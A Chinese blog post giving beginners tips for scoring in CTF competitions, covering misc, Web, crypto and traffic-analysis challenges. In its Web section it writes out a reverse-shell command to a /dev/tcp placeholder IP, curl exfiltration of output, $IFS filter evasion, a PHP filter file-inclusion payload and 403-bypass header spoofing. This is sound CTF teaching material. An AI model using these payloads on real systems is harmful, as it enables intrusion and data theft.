CTF比赛打到第二个小时我在椅子上蹲着翻一个zip伪加密的修复脚本队友在旁边盯着我的屏幕“解出来没有”我说别催然后按着刚搜到的教程把压缩包对应的十六进制标志位从09改回00重新解压压缩包里弹出一个名为password.txt的文件。五分钟后我们交了一血。队友感慨“你这也行”我说这叫现学现卖。这篇东西没有高深理论就是讲讲我自己怎么在CTF比赛里靠“边学边用”混分的。如果你也属于那种还没系统刷完题、就被朋友拉去凑队打CTF的新手或者你是想快速了解CTF入门知识、CTF夺旗赛到底怎么玩的那这篇文章应该能让你少走不少弯路。我尽量把每一次现场翻资料、现场调脚本、现场蒙对的过程讲清楚顺带把CTF比赛题目里最常出现的杂项、Web、密码学、流量包分析几条线的套路一起盘一遍。1. 为什么说“现学现卖”才是CTF赛场上的常规操作很多人觉得CTF比赛拼的是平时积累没学过就只能干瞪眼。这话对了一半。长时间训练的人确实在逆向和Pwn这种硬核方向上占绝对优势但CTF比赛的题目结构决定了它天然存在大量“看一眼就会、查一下就能做”的题型尤其是入门和中级难度的场次。所谓现学现卖本质就是快速把陌生知识点转换成解题行动这在CTF里不仅不丢人反而是生存必备技能。1.1 CTF题目设计的天生“题库化”CTF题目有一个非常明显的特征大量题目是“旧瓶装新酒”。主办方会参考往年CTF原题、CTF题库里的常见考点稍微改个参数或者换层包装就放出来。比如一个压缩包伪加密的题可能换个文件名、换个隐藏密码、把压缩包里的flag改成小明的生日但考点还是同一个。这就意味着你在比赛现场搜到一篇讲“zip伪加密修复”的博客照着操作大概率能直接解决眼前的题目。再加上搜索引擎里最不缺的就是CTF writeup解题报告。很多题目把关键报错一搜甚至能直接定位到这个题的原型。CTF比赛不像闭卷考试它允许你开着浏览器、翻着文档、跑着现成脚本去解题。这种“题库化”的特点就是现学现卖能成立的根本原因。1.2 检索能力比背诵能力更值钱我在比赛里踩过最深的坑是死磕一个不会的知识点。后来想明白了CTF打的是时间不是尊严。一道10分的杂项题卡了四十分钟看起来“再想想就能做出来”但实际上你现场去补一个完全陌生的编码体系可能还要两小时。这时候最正确的操作是快速判断这题属于哪类然后立刻搜对应工具和脚本用现成的轮子跑一遍。检验一个CTF选手成熟与否看的是他能不能在最短时间内从“我不会”跳到“我会做”中间的路径可以是搜索、是问队友、是翻GitHub、是问大模型。把检索能力武装起来哪怕你CTF入门知识只懂一点点也能在CTF网络安全大赛软件下载、环境搭建这些琐碎环节上省出大量时间。1.3 现学现卖也能成立的三条底线当然我不是说完全不学习直接去比赛那叫碰运气。现学现卖要成立有三个前提第一你得见过“这题考的是什么方向”。哪怕不熟至少能从题目描述和附件后缀判断出这是杂项、Web还是流量分析。第二你得有基本的工具基础。比如知道Wireshark能看流量包知道010 Editor能看十六进制知道Burp Suite能抓包。工具认得、不会用可以现场查这不算难。第三你得保持搜到资料后能读懂并变通的能力。很多资料写得不一定契合你的题目需要你稍微改改脚本路径、改改编码方式。说白了现学现卖卖的不是运气是你把网上资源转化成flag的速度。这一套在杂项和Web入门题上效果最明显下面细说。2. 杂项题速成手册伪加密、PDF隐写和那些“佛系”编码CTF里的杂项Misc是最适合新手现学现卖的一个大类也是CTF杂项题目最爱出花活的地方。它的特点是不需要你有多深的编程功底但非常考验观察力、工具熟悉度和想象力。你能想到去搜什么、去查什么基本就能做出什么。2.1 伪加密压缩包从“解不开”到“一分钟拆穿”先说一个高频考点zip伪加密。出题人把压缩包里某些标志位改一下让压缩软件误认为这个包“有密码”实际上数据压根没加密。最典型的现象是解压时提示输入密码但你能在解压软件里清清楚楚看到压缩包里的文件名。这种题的最快解法是先试一下“忽略加密信息直接当普通包解”的思路——用某些工具比如老版本的7-Zip、或者binwalk直接提取有时能直接拖出内容。如果不行就用010 Editor或者WinHex打开这个zip文件找到文件条目里对应的通用位标志General Purpose Bit Flag这个标志是2字节通常在文件头“PK”后面的第6、7个字节附近。只要这个值的第0位最低位是1就表示“加密”正常解压软件因此要求密码。你手动把它从类似09改成00保存再解压大概率直接就开了。实操过程中还有一个相见恨晚的组合题就是热搜里那个“ctf level1压缩包怎么解 helloctf小明的生日伪加密”的套路。这种题通常是双层压缩包外层是伪加密给你练手拆穿拆开之后里面是一个真加密的包密码需要根据题目线索猜比如“小明的生日”这种。处理流程是先解伪加密得到提示文件再用字典攻击或者纯数字掩码爆破生日。生日一般是8位数字用hashcat或者john挂一个“?d?d?d?d?d?d?d?d”的掩码跑一会儿最快几分钟就出来。你要是之前不知道这个套路现场搜“zip伪加密修复”加“ctf”照着改字节就能把第一层的分拿到。2.2 PDF隐写与黑白像素看不见的信息怎么捞出来CTF里PDF隐写也是常客。有些题会往PDF里塞一段白色文字或者超小字号文字你在阅读器里根本看不见但全选复制就能把隐藏字符带出来。遇到这种题先别急着翻十六进制直接在PDF里按CtrlA复制到文本编辑器里看看有没有隐藏内容。另外一类PDF隐写是把完整文件嵌进PDF对象里这种情况用binwalk扫一下看有没有zlib压缩流或者zip头扫出来直接binwalk -e提取整套操作就是“扫描—分离—得到文件”。还有一个搜索词叫“ctf 非黑即白”说的是黑白图片隐写题。图片只有两种颜色最常见套路是把黑白像素当作二进制串来处理黑色作为0白色作为1按每8个像素一组转成ASCII字符。用Python的Pillow库写个几行脚本读取图片坐标判断像素值拼接二进制转字符串就能把flag还原出来。类似的还有把两张黑白图片做像素异或得到一张隐藏字图片。这类题在现场临时查个“Pillow 读取图片像素”的用法基本就能搞定。平时没写过不要紧比赛时现搜现写完全来得及。2.3 工具箱与冷门编码随波逐流和“佛说只能四天”CTF杂项题里有大量的编码题。Base64、十六进制、栅栏密码这些都是基础的真正让人崩溃的是那些冷门到家的编码。最典型的一个就是热搜里的“ctf佛说:只能四天”。这个题面通常是一段以“佛说”开头的经文长得完全不像编码但你一搜“佛说 编码”就会发现它叫与佛论禅加密有人专门写了解码工具。把那段“佛曰”粘贴进去点解密出来的就是flag或者下一步提示。这种题想靠“看懂”来做是不可能的只能靠“认出来”再做。认出来的方法是见过、搜过、或者听队友说过。所以我会常备一个离线工具箱像CTF全能工具箱Pro v2这类集成工具里面编码转换、哈希计算、经典加密、佛曰解密、社会主义核心价值观编码几乎全都有。另一个常用的是随波逐流CTF编码工具支持几十种编码方式很多冷门编码不用单独下工具就能用。现场遇到看不懂的字符串先丢工具箱里挨个试编码试出来就是赚到。我个人的经验是离线解CTF最简单三个步骤可以概括为先binwalk和strings扫描附件再按“搜索flag字符串—看文件头—试常见编码”的流程过一遍最后搞不定就上工具箱暴力试编码。这个流程适用于大量杂项题。3. Web题的现场打法命令执行、文件包含和403的账Web题是CTF比赛里题量最大、最容易让新手一头雾水的大类。但Web入门题的套路其实非常集中翻来覆去就是命令执行、文件包含、SQL注入、文件上传、信息泄露这几板斧。你不需要会写代码只需要能看懂题目给的线索然后照着Payload模板现场试。3.1 命令执行与passthru见了函数名就去看用法CTF命令执行题后端经常直接写了一段PHP代码把用户传入的参数交给某个函数执行系统命令。常见函数有system、exec、shell_exec、passthru这几种。这里重点说下热搜里提到的passthru。它的特征是直接把命令的原始输出作为响应体打印出来非常适合回显命令结果。比如题目URL是http://目标/index.php?cmdls后端代码是passthru($_GET[cmd]);那直接在cmd参数里传命令就能看到目标服务器上的文件列表。现场拿到命令执行的入口之后第一件事就是确认当前目录和权限。一般先试id、pwd、ls -la /然后在网站根目录找flag文件。命令分隔符要特别注意有时候空格会被过滤就把空格换成$IFS比如cat$IFS/flag。分号、、||都可以用来拼接多条命令被过滤就换一种试。你要是卡在“命令执行但是看不到输出”可以考虑用curl把结果外带到你控制的服务器上或者用反弹shell建立通道。说到反弹shell构造很多Web题的最终目标就是拿shell。经典一条龙命令是本地用nc -lvnp 4444监听目标机器上执行bash -i /dev/tcp/你本机IP/4444 01。靶机上可能过滤空格和特殊字符所以要学会URL编码和变量拼接。这种payload不用背现场搜“反弹shell 命令 CTF靶场”就有大把现成的关键是知道netcat监听端口和payload里IP端口跟本地保持一致。3.2 文件包含与robots.txt先看网站想让你看什么CTF Web解题找flag最忌讳一上来就乱扫路径。很多题把线索放在你能直接访问到的地方只是你没注意。比如robots.txt这个文件本来是给搜索引擎爬虫看哪些目录不允许抓取的但CTF出题人经常在里面藏一个后台目录或者提示页面。比赛遇到一个普通网站先试/robots.txt如果能看到类似Disallow: /flagishere这样的记录那直接访问那个路径就行。文件包含题也是高频。后端代码往往是include($_GET[page]);这种写法你传个pageindex.php它就把index.php包含进来了。想读源码就利用PHP伪协议构造?pagephp://filter/convert.base64-encode/resourceindex.php把目标文件内容base64编码后输出你再拿去解码就能看到源码里的flag或者进一步利用点。这类题只要记住了伪协议格式现场就是套模板。还有一类题目叫“l00k_at_h3r3”意思很直白看这里。通常答案藏在响应头的某个字段、网页源码注释、或者某个不起眼的CSS/JS文件里。遇到线上题先把F12开发者工具打开看Network面板里所有请求的响应头再看源码里的HTML注释然后逐个打开JS文件搜索关键词。很多新手在Web题上花几小时扫目录其实答案就在眼皮底下。3.3 做CTF网站老报403那不是要你关是要你绕很多人在做CTF网站时老报403第一反应是“环境坏了”或者在思考“如何关闭403”但这是完全错误的思路。403是HTTP状态码表示服务器理解了请求但拒绝执行。CTF题目里的403就是出题人故意设的一道关卡要你证明你有权限访问那个资源或者要你换个姿势访问。绕403的常见套路有几种。第一种是改请求头把User-Agent改成正常浏览器的UA或者添加X-Forwarded-For: 127.0.0.1模拟来自内网的请求。第二种是路径变换试试大小写混写、路径后面加编码、加X-Original-URL和X-Rewrite-URL这种自定义头来覆盖访问路径。第三种是看是不是被WAF拦截尝试换一个参数名或者POST方式提交。我遇到过最典型的一种是在访问后台目录时403但加上Referer: http://目标.com/admin之后就直接放行了。服务器配置了Referer白名单就这么简单。所以做CTF网站老报403别急着关先想清楚这道题想让你从哪里进。403往往意味着你离flag已经很近了。4. 密码题和流量包临时抱佛脚性价比最高的两个方向如果不擅长逆向和Pwn又想帮队伍多拿分那Crypto密码学和流量包分析是最好的突破口。这两个方向的共同点是有大量现成工具和已知套路你不需要真正懂得背后的数学原理只要能判断出题目用的什么算法把参数丢进工具里就能解。4.1 分组密码题拿到手先判断算法和模式CTF分组密码题目算是Crypto里比较“规范”的一类通常给一段密文、一个密钥有时候还有初始向量IV要求解密。题目描述里如果直接写了AES、DES、3DES这种词那就属于送分题。在CyberChef里选择对应的AES Decrypt填好Key、IV、Mode和Input格式点一下就能出明文。难一点的是不告诉你算法只给你密文让你猜。这时候要会看特征AES加密后的数据通常是16字节的倍数ECB模式下相同明文块密文完全相同而CBC模式因为每个明文块会跟密文块异或所以看不出这种规律。你要是发现密文里有大量重复的块多半就是ECB。另外有些题考的是分组密码的“块操作攻击”比如CBC字节翻转——不要求你解密而是通过篡改密文来控制解出来的明文。这种题难度稍微高一点但同样有固定脚本现场搜“CBC翻转 CTF脚本”改改参数就能用。我自己的做法是比赛前把CyberChef、CaptfEncoder这类工具放到书签栏遇到密码题先丢进制转换和Base64解码再试常见加密不行就搜题目关键词加“分组密码”相关的writeup。很多分组密码题就是原题改数照着现成脚本跑一遍比从头理解快得多。4.2 流量包分析的三看套路流量包分析是另一个“现学现卖性价比极高”的题型。给一个pcapng或者pcap文件让你从网络数据里找flag。大部分情况下你的工作不是分析协议而是找线索。我的固定流程是“三看”。第一看统计打开Wireshark先看Protocol Hierarchy协议分级如果HTTP流量特别多就重点看HTTP如果DNS流量密集就重点看DNS如果出现了大量TCP重传往往说明传输过程中有人偷偷改了数据。第二看字符串在Wireshark里按CtrlF搜索类型选“字符串”直接搜“flag”“{”“password”“key”等关键词。遇到HTTP流量用Follow TCP Stream看每个会话的内容经常能看到明文POST表单里有账号密码或者直接就是flag。第三看导出对象File - Export Objects - HTTP把HTTP响应里传输过的文件全部导出来然后用杂项那套“stringsbinwalk”去处理导出的文件。流量包分析还有个常见套路是DNS隧道或者ICMP隧道也就是把数据藏在DNS查询记录或ICMP包里。这种就看DNS查询的名称字段有没有奇怪的子域或者ICMP的payload里有没有可打印字符串。如果你第一次接触现场搜“wireshark dns隧道 ctf”会有很多教程。只要愿意点开Wireshark跟着操作这类题的分数很容易握在手里。4.3 冷门编码佛说加密这种“脑洞题”该不该现学回到那个“佛说只能四天”的题。很多人第一次看到会以为是什么图片隐写结果发现整段都是汉字读也读不通然后心态直接崩了——“我真的会谢”。这种心态我特别理解但这类题反而最能体现现学现卖的价值。遇到这种“不像编码的编码”最有效的方法是拿一句题目原文去搜索。比如搜索“佛说 只能四天”一下就能跳出与佛论禅加密、佛曰加密的在线解密工具。把文本贴进去解出来可能是flag{...}也可能是一串看起来像是下一步提示的字符串。这个方向的边界感在于它属于“涨见识”类题见过一次下次就会没见过就是死路。所以我不建议在赛场上花超过十五分钟去死磕一个完全没头绪的冷门编码。但如果你的工具箱里正好集成了这类解码功能那就顺手点一下成本很低。随波逐流工具箱里的编码模块就很全许多“离谱”的编码都能直接解省得一个个在线网页来回切。5. 赛前30分钟和赛场检索我把“现学”变成了一套流程既然现学现卖这么依赖现场反应那你的准备就非常重要。磨刀不误砍柴工我把自己常用的赛前准备和现场姿势分享出来照着做至少能让你在开赛第一小时不慌。5.1 赛前准备把弹药放进同一个口袋比赛前30分钟我做三件事。第一把工具整理到同一个目录或浏览器书签里。Windows环境下我会准备一个便携工具包里面包含Wireshark、Burp Suite、010 Editor、binwalk、7-Zip、Python环境以及已安装Pillow、requests、scapy这类常用库的脚本目录。再放几个离线工具箱比如CTF全能工具箱Pro v2、随波逐流CTF工具箱。这些东西单个都不大但能在赛场上省掉大量下载时间。第二把常用payload和脚本存到一个本地笔记文件里。里面包括zip伪加密修复脚本、base64和hex转换命令、反弹shell一段代码、php伪协议读取源码的Payload、绕403的头字典、Wireshark里搜flag的过滤规则。赛场上你不需要重新查直接复制粘贴改参数就行。第三确认团队的沟通工具和共享文档。谁解出什么题、flag格式是什么、有没有重复劳动这些都要在共享文档里及时更新。CTF比赛时间很紧张两个人同时解同一道题的浪费太大。5.2 现场搜索的四种姿势比赛过程中搜索效率决定了你的现学现卖效率。我常用的搜索姿势有四种一是“题面原文CTF”。很多题目的描述是从原题改的你把关键句复制出来搜直接出原题writeup。二是“报错信息函数名”。遇到命令执行题后端函数是passthru你搜“passthru CTF的用法”能立刻找到它和其他函数的区别以及利用方式。三是“加密字符串特征解密”。比如看到密文开头是U2FsdGVkX1那基本是AES经过Base64编码的结果直接搜这个特征能确认算法。四是“工具箱找不到就搜在线工具”。冷门编码类题目在线解密的网页远比本地工具全搜索关键词要具体到编码名。顺便提一句现在CTF大模型也成了新式外挂。遇到完全看不懂的代码或者加密字符串可以丢给大模型让它分析一下可能的方向。我不是说用它直接解题而是让它帮你科普陌生的函数、编码特征、常见攻击模式。这个辅助效率很高尤其是在你需要快速理解一段“从来没见过”的Python脚本时。5.3 队友分工与大模型辅助人多、工具多就是快CTF是团队赛5人一队是常见的配置。如果你队里有经验丰富的逆向/二进制选手那太好了如果全是新手也有新手的打法。我的建议是安排两个人主攻Web两个人在杂项和流量包上轮转一个人做Crypto加查漏补缺。Pwn和逆向如果没人会就放到最后再碰别一开场就把时间耗在上面。队友之间最常见的帮助是“报题面”。一个人卡住的时候把题目截图发群里另一个人可能以前在CTF题库里刷到过原题。这种经历我遇到很多次你觉得挺难的题队友说“这题我见过答案是XX”直接结束战斗。队伍里的信息同步也很重要。每解出一道题把flag的提交格式、题目名、解法一句话发到共享文档。这样就算某人中途掉线其他人也能接着做。人多不是让你在同一道题上挤而是让不同方向能并行推进。6. 现学现卖的边界哪些坑能爬出来哪些题真来不及写了一大堆“怎么现学”最后也得泼一盆冷水现学现卖不是万能的。有些坑你踩进去了能爬出来有些坑临时学是真来不及。搞清楚这个边界才能把有限的比赛时间花在能得分的题上。6.1 现场最冤的几种死法第一种死法是不看flag提交格式。题目说要提交flag{...}格式你解出了一个字符串直接把里面的内容填上没加花括号提交失败浪费一次机会。很多CTF平台提交次数有限这种低级错误特别伤士气。第二种死法是编码没统一。题目给的字符串是十六进制你当成base64去解或者解出来的字符串带着奇怪的字符其实转成UTF-8就能看到中文提示。遇到问题先把数据流捋清楚确认格式再做解码。第三种死法是碰到伪加密就放弃。很多人解压时提示密码错误就真的开始暴力破解结果跑了半小时没跑出来其实只是没意识到这是伪加密。我的原则是任何压缩包先看能不能列出文件、能不能用binwalk提取再考虑暴力破解。伪加密这个坑几乎每场比赛都能坑一批人。6.2 逆向和Pwn这种硬骨头临时学是学不动的逆向Reverse和二进制利用Pwn是CTF里最依赖长期积累的方向。逆向需要懂汇编、脱壳、反混淆、代码还原Pwn需要懂栈溢出、堆利用、格式化字符串还要会调试器操作。这些能力没法靠“比赛时搜一篇博客”补出来。如果你完全没接触过开赛前两小时你连IDA的基本操作都未必熟练更别说分析恶意样本了。我的建议是新手队伍不要在逆向和Pwn上恋战。看一眼题目附件如果完全没头绪就跳过把时间留给杂项、Web和Crypto。等你打了几场比赛再决定要不要向二进制方向发展。这不是劝退是让你别在得分率最低的方向消耗宝贵的比赛时间。6.3 赛后复盘把“现学”变成自己的弹药库比赛结束那天晚上不管成绩如何花一到两小时复盘是必须的。把所有做出来的题按方向整理把没做出来的题对应的writeup读一遍然后存进自己的知识库。重点不是把flag抄一遍而是把“解题思路”和“工具用法”记下来。我会用一个Markdown文件按方向维护内容包括题目的知识点、我用了什么工具、现场卡在了哪里、网上writeup用的什么方法。这样下次比赛遇到类似的题我的“现学”过程会被压缩成“直接调用”速度会快很多。打了四五场比赛之后你会发现自己能“现卖”的东西越来越多“现学”的比例越来越小。最后再分享一个小技巧比赛时把常用Payload和命令放在一个本地文件里起名cheatsheet.md放桌面。每次卡住就从头扫一遍经常能凭空得到解题灵感。CTF比的不是你脑袋里装了多少而是你在有限时间内能调用多少资源。把“现学现卖”这件事做成一条高效流水线你就能在CTF里打出超出当前水平的表现。